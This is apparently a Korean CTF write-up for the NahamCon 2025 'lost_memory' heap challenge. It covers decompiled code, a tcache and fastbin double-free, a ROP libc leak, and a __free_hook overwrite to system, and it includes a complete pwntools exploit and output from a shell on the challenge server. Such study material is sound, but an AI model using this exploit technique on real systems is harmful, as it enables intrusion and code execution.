checksec
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ checksec ./lost_memory
[*] '/home/ubuntu/study/naham2025/lost_memory/lost_memory'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
libc.so.6 version
Ubuntu GLIBC 2.31-0ubuntu9.17
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 9.4.0. libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Decompiled-src / Analysis
menu 함수를 보면 알다시피 5가지 존재한다.
인덱스를 지정하여 메모리를 할당하거나 해제, 데이터를 쓸 수 있으며
스택 값을 유출시킬 수 있는 5번 메뉴가 존재한다.
void *setup_globals()
{
void *result; // rax
int i; // [rsp+Ch] [rbp-4h]
memset(&input, 0, 0x100u);
for ( i = 0; i <= 9; ++i )
{
if ( *(&ptr + i) )
*(&ptr + i) = 0;
if ( newPtr[i] )
newPtr[i] = 0;
}
memIndex = 0;
result = memset(ptrSize, 0, sizeof(ptrSize));
choice = 0;
size = 0;
return result;
}
int menu()
{
puts("1. Allocate Memory");
puts("2. Write to Memory");
puts("3. Select Index");
puts("4. Free Memory");
puts("5. Store Flag Return Value");
puts("6. Exit");
return puts("Enter your choice:");
}
int vuln()
{
__int64 v1; // rbx
_QWORD v2[3]; // [rsp+8h] [rbp-18h] BYREF
v2[0] = 0xDEADBEEFDEADBEEFLL;
setup_globals();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
choice = 0;
menu();
fflush(stdin);
fgets(&input, 256, stdin);
choice = atoi(&input);
memset(&input, 0, 0x100u);
size = 0;
if ( choice != 1 )
break;
puts("What size would you like?");
fgets(&input, 256, stdin);
size = atol(&input);
memset(&input, 0, 0x100u);
if ( size > 0x100 )
return puts("Size too large");
v1 = memIndex;
*(&ptr + v1) = malloc(size);
ptrSize[memIndex] = size;
puts("Allocated memory");
}
if ( choice != 2 )
break;
puts("What would you like to write?");
fflush(stdin);
fgets(&input, 256, stdin);
if ( !input )
return puts("No input provided");
puts("Writing to memory...");
memcpy(*(&ptr + memIndex), &input, ptrSize[memIndex]);
printf("ptr[memIndex] = %s\n", (const char *)*(&ptr + memIndex));
printf("input = %s\n", &input);
memset(&input, 0, 0x100u);
}
if ( choice != 3 )
break;
printf("Select an index to write to (0 - %d)\n ", 9);
fgets(&input, 256, stdin);
memIndex = atol(&input);
memset(&input, 0, 0x100u);
if ( (unsigned __int64)memIndex > 9 )
return puts("Invalid index");
}
if ( choice != 4 )
break;
if ( *(&ptr + memIndex) )
{
puts("Freeing memory...");
free(*(&ptr + memIndex));
}
else
{
puts("No memory to free");
}
}
if ( choice != 5 )
break;
puts("Storing flag return value");
*(_QWORD *)*(&ptr + memIndex) = v2;
printf("Stored return value: %p\n", *(const void **)*(&ptr + memIndex));
printf("Stored return value: %p\n", v2);
}
if ( choice == 6 )
return puts("Exiting...");
else
return puts("Invalid choice");
}
Solution
1. tcache 가득 채우기 / 스택주소 누출하기
먼저 인덱스 0을 지정해 할당해준다음, 스택주소를 누출시킨다.
그런 다음 6번 더 할당히야 추후 tcache를 채우기 위해 준비작업을 한다.
이후 3번 더 할당시켜 추후 fastbin에 넣을 준비를 한다.
fastbin에 속하기 위해 malloc크기는 0x20으로 지정해주었고,
이제 tcache를 채우기 위해 처음 할당했던 인덱스부터 시작하여 할당해제를 시켜준다.
select_index(0)
alloc(0x20)
write_mem(b"AAAA")
a, b = leak_mem()
info(f"leak a:{a}, b:{b}")
for i in range(1, 7):
select_index(i)
alloc(0x20)
for i in range(7, 10):
select_index(i)
alloc(0x20)
for i in range(0, 7):
select_index(i)
free_mem()
- Result
보다시피 tcache에 7번 가득채워진 것을 확인할 수 있다.
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py
[+] Starting local process './lost_memory': pid 1107
[*] leak a:b'0x7fffffffe4a8', b:b'0x7fffffffe4a8'
gdb -p 1107
...
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x405470 (size : 0x20b90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
gdb-peda$
이후부터 인덱스 7을 선택해 free시키면, 그때부터는 fastbin에 들어가게 된다.
- 결과
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x4053e0 --> 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x405470 (size : 0x20b90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
2. fastbin_dup 버그 트리거
tcache에 7번 가득채우면, 그 이후부터는 fastbin에 들어가게 된다.
free list의 top에 해당되지만 않으면, double-free를 트리거시킬 수 있기에
순서대로 7, 8, 7 인덱스에 할당된 메모리를 해제시켜준다.
# Trigger fastbin_dup select_index(7) free_mem() select_index(8) free_mem() select_index(7) free_mem()
- 결과
이제 tcache 리스트의 메모리 할당을 전부 다하고 나면(=전부 비우게 되면),
그 이후 fastbin 리스트를 보다시피 1번째와 3번째의 할당받는 주소가 서로 같게 된다.
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x405470 (size : 0x20b90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
gdb-peda$
3. tache 리스트 비우기
tcache 리스트에 채워진 것들을 비우기 위해
같은 크기로 7번 다시 할당시킨다.
#empty tcache
for i in range(0, 7):
select_index(i)
alloc(0x20)
- 결과
보다시피 tcache에 있던 리스트값들이 사라졌다.
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x405470 (size : 0x20b90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
4. fd값을 수정하여 AAW 1단계 / ROP chain을 통한 libc base 주소 계산
이제 fastbin으로부터 메모리 주소를 할당받는다.
fd 값을 수정하여 다음 4번째에서 할당받게될 주소를 vuln 함수의 rbp 주소로 가리키게 만든다.
vuln’s RET 주소에다가 puts(puts@got) + vuln 주소와 함께 ROP Chain을 구성한다.
vuln_rbp = int(a, 16) + 0x18
where = vuln_rbp
select_index(7)
alloc(0x20)
write_mem(p64(where+8))
select_index(8)
alloc(0x20)
alloc(0x20)
select_index(9)
alloc(0x20)
pop_rdi_ret = 0x40132e
what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)
write_mem(what)
sla("Enter your choice:\n", "6")
ru("Exiting...\n")
leak = r(6)
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym.puts
info(f"libc_base: {hex(l.address)}")
5. AAW 2단계 / free_hook을 system 함수로 덮어쓰기
ROP chain이 무사히 끝났다면, puts 주소가 누출되었을거고 다시 vuln 함수로 돌아가게 된다.
이전 1~4번을 통해 한번더 fastbin_dup 버그를 트리거하여 AAW하는데,
이번에는 free_hook 포인터 주소에 system 함수를 덮어써서 쉘을 획득하면 된다.
# 2. fill tcache?
for i in range(0, 7):
select_index(i)
alloc(0x30)
for i in range(7, 10):
select_index(i)
alloc(0x30)
for i in range(0, 7):
select_index(i)
free_mem()
select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()
#empty tcache
for i in range(0, 7):
select_index(i)
alloc(0x30)
#Let's AAW2!
where = l.sym.__free_hook
select_index(7)
alloc(0x30)
write_mem(p64(where))
select_index(8)
alloc(0x30)
alloc(0x30)
write_mem(b"/bin/sh\x00")
select_index(9)
alloc(0x30)
what = p64(l.sym.system)
write_mem(what)
select_index(8)
free_mem()
pi()
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys
# p = process("./lost_memory")
p = remote("challenge.nahamcon.com", 31899)
e = ELF('./lost_memory',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./libc.so.6', checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
def alloc(size):
sla("Enter your choice:\n", "1")
sla("What size would you like?", str(size))
def select_index(idx):
sla("Enter your choice:\n", "3")
sl(str(idx))
def write_mem(what):
sla("Enter your choice:\n", "2")
sla(b"What would you like to write?\n", what)
def free_mem():
sl("4")
def leak_mem():
sl("5")
ru(b"Storing flag return value\n")
a = rl().split(b"Stored return value: ")[1].strip()
b = rl().split(b"Stored return value: ")[1].strip()
return a, b
# 1. fill tcache?
select_index(0)
alloc(0x20)
write_mem(b"AAAA")
a, b = leak_mem()
info(f"leak a:{a}, b:{b}")
for i in range(1, 7):
select_index(i)
alloc(0x20)
for i in range(7, 10):
select_index(i)
alloc(0x20)
for i in range(0, 7):
select_index(i)
free_mem()
# Trigger fastbin_dup
select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()
#empty tcache
for i in range(0, 7):
select_index(i)
alloc(0x20)
#Let's AAW!
vuln_rbp = int(a, 16) + 0x18
where = vuln_rbp
select_index(7)
alloc(0x20)
write_mem(p64(where+8))
select_index(8)
alloc(0x20)
alloc(0x20)
select_index(9)
alloc(0x20)
pop_rdi_ret = 0x40132e
what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)
write_mem(what)
sla("Enter your choice:\n", "6")
ru("Exiting...\n")
leak = r(6)
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym.puts
info(f"libc_base: {hex(l.address)}")
# 2. fill tcache?
for i in range(0, 7):
select_index(i)
alloc(0x30)
for i in range(7, 10):
select_index(i)
alloc(0x30)
for i in range(0, 7):
select_index(i)
free_mem()
select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()
#empty tcache
for i in range(0, 7):
select_index(i)
alloc(0x30)
#Let's AAW2!
where = l.sym.__free_hook
select_index(7)
alloc(0x30)
write_mem(p64(where))
select_index(8)
alloc(0x30)
alloc(0x30)
write_mem(b"/bin/sh\x00")
select_index(9)
alloc(0x30)
what = p64(l.sym.system)
write_mem(what)
select_index(8)
free_mem()
pi()
Result
ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py
[+] Opening connection to challenge.nahamcon.com on port 31899: Done
[*] leak a:b'0x7ffd5b1d1358', b:b'0x7ffd5b1d1358'
[*] leak: 0x7dc31429d420
[*] libc_base: 0x7dc314219000
[*] Switching to interactive mode
Select an index to write to (0 - 9)
1. Allocate Memory
2. Write to Memory
3. Select Index
4. Free Memory
5. Store Flag Return Value
6. Exit
Enter your choice:
Freeing memory...
$ ls
flag.txt
lost_memory
$ cat flag.txt
flag{2658c992bda627329ed2a8e6225623c6}$
[*] Interrupted
[*] Closed connection to challenge.nahamcon.com port 31899